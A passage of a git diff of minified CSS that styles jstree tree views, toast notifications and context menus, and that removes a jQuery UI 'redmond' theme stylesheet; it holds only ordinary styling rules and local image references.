.jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/redmond/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/redmond/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/redmond/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/redmond/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/redmond/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/redmond/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/redmond/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid rgba(255,255,255,.7);border-bottom:1px solid rgba(64,64,64,.2);background:#ebebeb;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default-responsive .jstree-wholerow-clicked{background:#beebff}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #666}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #666;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/redmond/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/redmond/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/redmond/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#5c9ccc url(assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png) 50% 50% repeat-x;opacity:1;-webkit-border-radius:10px;color:#fff;font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:14px;font-weight:700;border:2px solid #4297d7;display:block;position:relative;margin:0 0 12px;padding:20px 6px}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/redmond/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/redmond/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/redmond/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/redmond/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/redmond/images/error.png)}.toast-type-notice{color:#fff}.toast-type-success{color:#fff}.toast-type-warning{color:#363636;background:#fbec88;border-color:#fad42e}.toast-type-error{border-color:#cd0a0a;background:#fef1ec url(assets/jqueryui/redmond/images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50% repeat-x;color:#cd0a0a}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%}.fa-inverse{color:#FCFDFD!important}.context-menu-list{background-color:#fcfdfd!important}.context-menu-item{background-color:#fcfdfd!important;color:#2e6e9e!important}.context-menu-icon::before{color:#133C5B!important}.context-menu-icon.context-menu-hover:before{color:#133C5B!important}.context-menu-item.context-menu-hover{color:#133C5B!important;#padding:1px,1px,1px,1px!important;#border:1px solid #2980b9!important;background-color:#dfeffc!important}.context-menu-icon.context-menu-disabled::before{color:#ced4da!important}.context-menu-icon.context-menu-icon--fa::before{color:#2E6E9E!important}.context-menu-icon.context-menu-icon--fa.context-menu-hover:before{color:#E17009!important}.context-menu-icon.context-menu-icon--fa.context-menu-disabled::before{color:#ced4da!important}.context-menu-icon.context-menu-icon--fa5 i,.context-menu-icon.context-menu-icon--fa5 svg{color:#2E6E9E!important}.context-menu-icon.context-menu-icon--fa5.context-menu-hover > i,.context-menu-icon.context-menu-icon--fa5.context-menu-hover > svg{color:#E17009!important}.context-menu-icon.context-menu-icon--fa5.context-menu-disabled i,.context-menu-icon.context-menu-icon--fa5.context-menu-disabled svg{color:#ced4da!important}.context-menu-item.context-menu-disabled{color:#ced4da!important}.cm{cursor:url(assets/jqueryui/redmond/images/cm.cur),context-menu!important}.main-tabs{border-color:#c5dbec #5c9ccc #5c9ccc!important}.main-title{#border-color:#c5dbec!important} \ No newline at end of file diff --git a/assets/jqueryui/redmond/jquery-ui.pmin.css b/assets/jqueryui/redmond/jquery-ui.pmin.css deleted file mode 100644 index 6dbddf1..0000000 --- a/assets/jqueryui/redmond/jquery-ui.pmin.css +++ /dev/null @@ -1 +0,0 @@ -.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/redmond/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #c5dbec}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #c5dbec}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/redmond/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;border:1px solid #c5dbec}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #c5dbec}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #c5dbec}.ui-widget-content{border:1px solid #a6c9e2;background:#fcfdfd url(assets/jqueryui/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png) 50% bottom repeat-x;color:#222}.ui-widget-content a{color:#222}.ui-widget-header{border:1px solid #4297d7;background:#5c9ccc url(assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png) 50% 50% repeat-x;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #c5dbec;background:#dfeffc url(assets/jqueryui/redmond/images/ui-bg_glass_85_dfeffc_1x400.png) 50% 50% repeat-x;font-weight:700;color:#2e6e9e}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#2e6e9e;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #79b7e7;background:#d0e5f5 url(assets/jqueryui/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png) 50% 50% repeat-x;font-weight:700;color:#1d5987}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#1d5987;text-decoration:none}.ui-visual-focus{-webkit-box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #79b7e7;background:#f5f8f9 url(assets/jqueryui/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png) 50% 50% repeat-x;font-weight:700;color:#e17009}.ui-icon-background,.ui-state-active .ui-icon-background{border:#79b7e7;background-color:#e17009}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#e17009;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #fad42e;background:#fbec88;color:#363636}.ui-state-checked{border:1px solid #fad42e;background:#fbec88}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #cd0a0a;background:#fef1ec url(assets/jqueryui/redmond/images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50% repeat-x;color:#cd0a0a}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#cd0a0a}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#cd0a0a}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_469bdd_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_d8e7f3_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_f9bd01_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_2e83ff_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_cd0a0a_256x240.png)}.ui-button 